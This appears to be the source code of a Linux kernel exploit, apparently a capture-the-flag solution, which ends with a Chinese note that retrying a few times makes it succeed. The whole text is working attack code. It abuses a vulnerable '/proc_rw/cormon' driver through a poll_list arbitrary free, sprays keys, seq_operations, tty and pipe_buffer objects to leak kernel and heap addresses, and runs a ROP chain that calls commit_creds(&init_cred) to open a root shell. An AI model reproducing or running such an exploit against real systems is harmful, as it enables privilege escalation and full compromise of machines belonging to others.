}void qword_dump(char *desc, void *addr, int len) {uint64_t *buf64 = (uint64_t *) addr;uint8_t *buf8 = (uint8_t *) addr;if (desc != NULL) {printf("[*] %s:\n", desc);}for (int i = 0; i < len / 8; i += 4) {printf(" %04x", i * 8);for (int j = 0; j < 4; j++) {i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");}printf(" ");for (int j = 0; j < 32 && j + i * 8 < len; j++) {printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');}puts("");}
}bool is_kernel_text_addr(size_t addr) {return addr >= 0xFFFFFFFF80000000 && addr <= 0xFFFFFFFFFEFFFFFF;
// return addr >= 0xFFFFFFFF80000000 && addr <= 0xFFFFFFFF9FFFFFFF;
}bool is_dir_mapping_addr(size_t addr) {return addr >= 0xFFFF888000000000 && addr <= 0xFFFFc87FFFFFFFFF;
}#define INVALID_KERNEL_OFFSET 0x1145141919810const size_t kernel_addr_list[] = {0xffffffff813275c0,0xffffffff812d4320,0xffffffff812d4340,0xffffffff812d4330
};size_t kernel_offset_query(size_t kernel_text_leak) {if (!is_kernel_text_addr(kernel_text_leak)) {return INVALID_KERNEL_OFFSET;}for (int i = 0; i < sizeof(kernel_addr_list) / sizeof(kernel_addr_list[0]); i++) {if (!((kernel_text_leak ^ kernel_addr_list[i]) & 0xFFF)&& (kernel_text_leak - kernel_addr_list[i]) % 0x100000 == 0) {return kernel_text_leak - kernel_addr_list[i];}}printf("[-] unknown kernel addr: %#lx\n", kernel_text_leak);return INVALID_KERNEL_OFFSET;
}size_t search_kernel_offset(void *buf, int len) {size_t *search_buf = buf;for (int i = 0; i < len / 8; i++) {size_t kernel_offset = kernel_offset_query(search_buf[i]);if (kernel_offset != INVALID_KERNEL_OFFSET) {printf("[+] kernel leak addr: %#lx\n", search_buf[i]);printf("[+] kernel offset: %#lx\n", kernel_offset);return kernel_offset;}}return INVALID_KERNEL_OFFSET;
}size_t user_cs, user_rflags, user_sp, user_ss;void save_status() {__asm__("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("[*] status has been saved.");
}typedef struct {int nfds, timer;
} poll_args;struct poll_list {struct poll_list *next;int len;struct pollfd entries[];
};pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
size_t poll_threads, poll_cnt;void *alloc_poll_list(void *args) {int nfds = ((poll_args *) args)->nfds;int timer = ((poll_args *) args)->timer;struct pollfd *pfds = calloc(nfds, sizeof(struct pollfd));for (int i = 0; i < nfds; i++) {pfds[i].fd = open("/etc/passwd", O_RDONLY);pfds[i].events = POLLERR;}bind_core(true, true);pthread_mutex_lock(&mutex);poll_threads++;pthread_mutex_unlock(&mutex);poll(pfds, nfds, timer);bind_core(false, true);pthread_mutex_lock(&mutex);poll_threads--;pthread_mutex_unlock(&mutex);
}#define N_STACK_PPS 30
#define POLL_NUM 0x1000pthread_t poll_tid[POLL_NUM];void create_poll_thread(size_t size, int timer) {poll_args *args = calloc(1, sizeof(poll_args));args->nfds = (size - (size + PAGE_SIZE - 1) / PAGE_SIZE * sizeof(struct poll_list)) / sizeof(struct pollfd)+ N_STACK_PPS;args->timer = timer;pthread_create(&poll_tid[poll_cnt++], 0, alloc_poll_list, args);
}void wait_poll_start() {while (poll_threads != poll_cnt);
}void join_poll_threads(void (*confuse)(void *), void *confuse_args) {for (int i = 0; i < poll_threads; i++) {pthread_join(poll_tid[i], NULL);if (confuse != NULL) {confuse(confuse_args);}}poll_cnt = poll_threads = 0;
}struct callback_head {struct callback_head *next;void (*func)(struct callback_head *head);
} __attribute__((aligned(sizeof(void *))));#define rcu_head callback_head
#define __aligned(x) __attribute__((__aligned__(x)))
typedef unsigned long long u64;struct user_key_payload {struct rcu_head rcu; /* RCU destructor */unsigned short datalen; /* length of this data */char data[0] __aligned(__alignof__(u64)); /* actual data */
};#define KEY_NUM 199
int key_id[KEY_NUM];int key_alloc(int id, void *payload, int payload_len) {char description[0x10] = {};sprintf(description, "%d", id);return key_id[id] = syscall(__NR_add_key, "user", description, payload, payload_len - sizeof(struct user_key_payload), KEY_SPEC_PROCESS_KEYRING);
}int key_update(int id, void *payload, size_t plen) {return syscall(__NR_keyctl, KEYCTL_UPDATE, key_id[id], payload, plen);
}int key_read(int id, void *bufer, size_t buflen) {return syscall(__NR_keyctl, KEYCTL_READ, key_id[id], bufer, buflen);
}int key_revoke(int id) {return syscall(__NR_keyctl, KEYCTL_REVOKE, key_id[id], 0, 0, 0);
}int key_unlink(int id) {return syscall(__NR_keyctl, KEYCTL_UNLINK, key_id[id], KEY_SPEC_PROCESS_KEYRING);
}struct list_head {struct list_head *next, *prev;
};
struct tty_file_private {struct tty_struct *tty;struct file *file;struct list_head list;
};struct page;
struct pipe_inode_info;
struct pipe_buf_operations;struct pipe_bufer {struct page *page;unsigned int offset, len;const struct pipe_buf_operations *ops;unsigned int flags;unsigned long private;
};struct pipe_buf_operations {int (*confirm)(struct pipe_inode_info *, struct pipe_bufer *);void (*release)(struct pipe_inode_info *, struct pipe_bufer *);int (*try_steal)(struct pipe_inode_info *, struct pipe_bufer *);int (*get)(struct pipe_inode_info *, struct pipe_bufer *);
};void get_shell(void) {char *args[] = {"/bin/bash", "-i", NULL};execve(args[0], args, NULL);
}#define SEQ_NUM (2048 + 128)
#define TTY_NUM 72
#define PIPE_NUM 1024int cormon_fd;
char buf[0x20000];void seq_confuse(void *args) {open("/proc/self/stat", O_RDONLY);
}size_t push_rsi_pop_rsp_ret = 0xFFFFFFFF817AD641;
size_t pop_rdi_ret = 0xffffffff8116926d;
size_t init_cred = 0xFFFFFFFF8245A960;
size_t commit_creds = 0xFFFFFFFF810EBA40;
size_t pop_r14_pop_r15_ret = 0xffffffff81001615;
size_t find_task_by_vpid = 0xFFFFFFFF810E4FC0;
size_t init_fs = 0xFFFFFFFF82589740;
size_t pop_rcx_ret = 0xffffffff8101f5fc;
size_t add_rax_rcx_ret = 0xffffffff8102396f;
size_t mov_mmrax_rbx_pop_rbx_ret = 0xffffffff817e1d6d;
size_t pop_rbx_ret = 0xffffffff811bce34;
size_t swapgs_ret = 0xffffffff81a05418;
size_t iretq = 0xffffffff81c00f97;int main() {bind_core(true, false);save_status();signal(SIGSEGV, (void *) get_shell);cormon_fd = open("/proc_rw/cormon", O_RDWR);if (cormon_fd < 0) {perror("[-] failed to open cormon.");exit(-1);}size_t kernel_offset;int target_key;puts("[*] Saturating kmalloc-32 partial slabs...");int seq_fd[SEQ_NUM];for (int i = 0; i < SEQ_NUM; i++) {seq_fd[i] = open("/proc/self/stat", O_RDONLY);if (seq_fd[i] < 0) {perror("[-] failed to open stat.");exit(-1);}if (i == 2048) {puts("[*] Spraying user keys in kmalloc-32...");for (int j = 0; j < KEY_NUM; j++) {setxattr("/tmp/exp", "aaaaaa", buf, 32, XATTR_CREATE);key_alloc(j, buf, 32);if (j == 72) {bind_core(false, false);puts("[*] Creating poll threads...");for (int k = 0; k < 14; k++) {create_poll_thread(PAGE_SIZE + sizeof(struct poll_list) + sizeof(struct pollfd), 3000);}bind_core(true, false);wait_poll_start();}}puts("[*] Corrupting poll_list next pointer...");write(cormon_fd, buf, PAGE_SIZE);puts("[*] Triggering arbitrary free...");join_poll_threads(seq_confuse, NULL);puts("[*] Overwriting user key size / Spraying seq_operations structures...");}}puts("[*] Leaking kernel pointer...");for (int i = 0; i < KEY_NUM; i++) {int len = key_read(i, buf, sizeof(buf));kernel_offset = search_kernel_offset(buf, len);if (kernel_offset != INVALID_KERNEL_OFFSET) {qword_dump("dump leak memory", buf, 0x1000);target_key = i;break;}}if (kernel_offset == INVALID_KERNEL_OFFSET) {puts("[-] failed to leak kernel offset,try again.");exit(-1);}push_rsi_pop_rsp_ret += kernel_offset;pop_rdi_ret += kernel_offset;init_cred += kernel_offset;commit_creds += kernel_offset;pop_r14_pop_r15_ret += kernel_offset;find_task_by_vpid += kernel_offset;init_fs += kernel_offset;pop_rcx_ret += kernel_offset;add_rax_rcx_ret += kernel_offset;mov_mmrax_rbx_pop_rbx_ret += kernel_offset;pop_rbx_ret += kernel_offset;swapgs_ret += kernel_offset;iretq += kernel_offset;puts("[*] Freeing user keys...");for (int i = 0; i < KEY_NUM; i++) {if (i != target_key) {key_unlink(i);}}sleep(1);puts("[*] Spraying tty_file_private / tty_struct structures...");int tty_fd[TTY_NUM];for (int i = 0; i < TTY_NUM; i++) {tty_fd[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY);if (tty_fd[i] < 0) {perror("[-] failed to open ptmx");}}puts("[*] Leaking heap pointer...");size_t target_object = -1;int len = key_read(target_key, buf, sizeof(buf));qword_dump("dump leak memory", buf, 0x1000);for (int i = 0; i < len; i += 8) {struct tty_file_private *head = (void *) &buf[i];if (is_dir_mapping_addr((size_t) head->tty) && !(((size_t) head->tty) & 0xFF)&& head->list.next == head->list.prev && head->list.prev != NULL) {qword_dump("leak tty_struct addr from tty_file_private", &buf[i], sizeof(struct tty_file_private));target_object = (size_t) head->tty;printf("[+] tty_struct addr: %p\n", target_object);break;}}if (target_object == -1) {puts("[-] failed to leak tty_struct addr.");exit(-1);}puts("[*] Freeing seq_operation structures...");for (int i = 2048; i < SEQ_NUM; i++) {close(seq_fd[i]);}bind_core(false, false);puts("[*] Creating poll threads...");for (int i = 0; i < 192; i++) {create_poll_thread(sizeof(struct poll_list) + sizeof(struct pollfd), 3000);}bind_core(true, false);wait_poll_start();puts("[*] Freeing corrupted key...");key_unlink(target_key);sleep(1); // GC keyputs("[*] Overwriting poll_list next pointer...");char key[32] = {};*(size_t *) &buf[0] = target_object - 0x18;for (int i = 0; i < KEY_NUM; i++) {setxattr("/tmp/exp", "aaaaaa", buf, 32, XATTR_CREATE);key_alloc(i, key, 32);}puts("[*] Freeing tty_struct structures...");for (int i = 0; i < TTY_NUM; i++) {close(tty_fd[i]);}sleep(1); // GC TTYsint pipe_fd[PIPE_NUM][2];puts("[*] Spraying pipe_bufer structures...");for (int i = 0; i < PIPE_NUM; i++) {pipe(pipe_fd[i]);write(pipe_fd[i][1], "aaaaaa", 6);}puts("[*] Triggering arbitrary free...");join_poll_threads(NULL, NULL);((struct pipe_bufer *) buf)->ops = (void *) (target_object + 0x300);((struct pipe_buf_operations *) &buf[0x300])->release = (void *) push_rsi_pop_rsp_ret;size_t *rop = (size_t *) buf;*rop++ = pop_r14_pop_r15_ret;rop++;rop++; // ops// commit_creds(&init_creds)*rop++ = pop_rdi_ret;*rop++ = init_cred;*rop++ = commit_creds;// current = find_task_by_vpid(getpid())*rop++ = pop_rdi_ret;*rop++ = getpid();*rop++ = find_task_by_vpid;// current->fs = &init_fs*rop++ = pop_rcx_ret;*rop++ = 0x6e0;*rop++ = add_rax_rcx_ret;*rop++ = pop_rbx_ret;*rop++ = init_fs;*rop++ = mov_mmrax_rbx_pop_rbx_ret;rop++;// back to user*rop++ = swapgs_ret;*rop++ = iretq;*rop++ = (uint64_t) get_shell;*rop++ = user_cs;*rop++ = user_rflags;*rop++ = user_sp;*rop++ = user_ss;puts("[*] Spraying ROP chain...");for (int i = 0; i < 31; i++) {key_alloc(i, buf, 1024);}puts("[*] Hijacking control flow...");for (int i = 0; i < PIPE_NUM; i++) {close(pipe_fd[i][0]);close(pipe_fd[i][1]);}sleep(5);return 0;
}
多试几次还是可以成功的。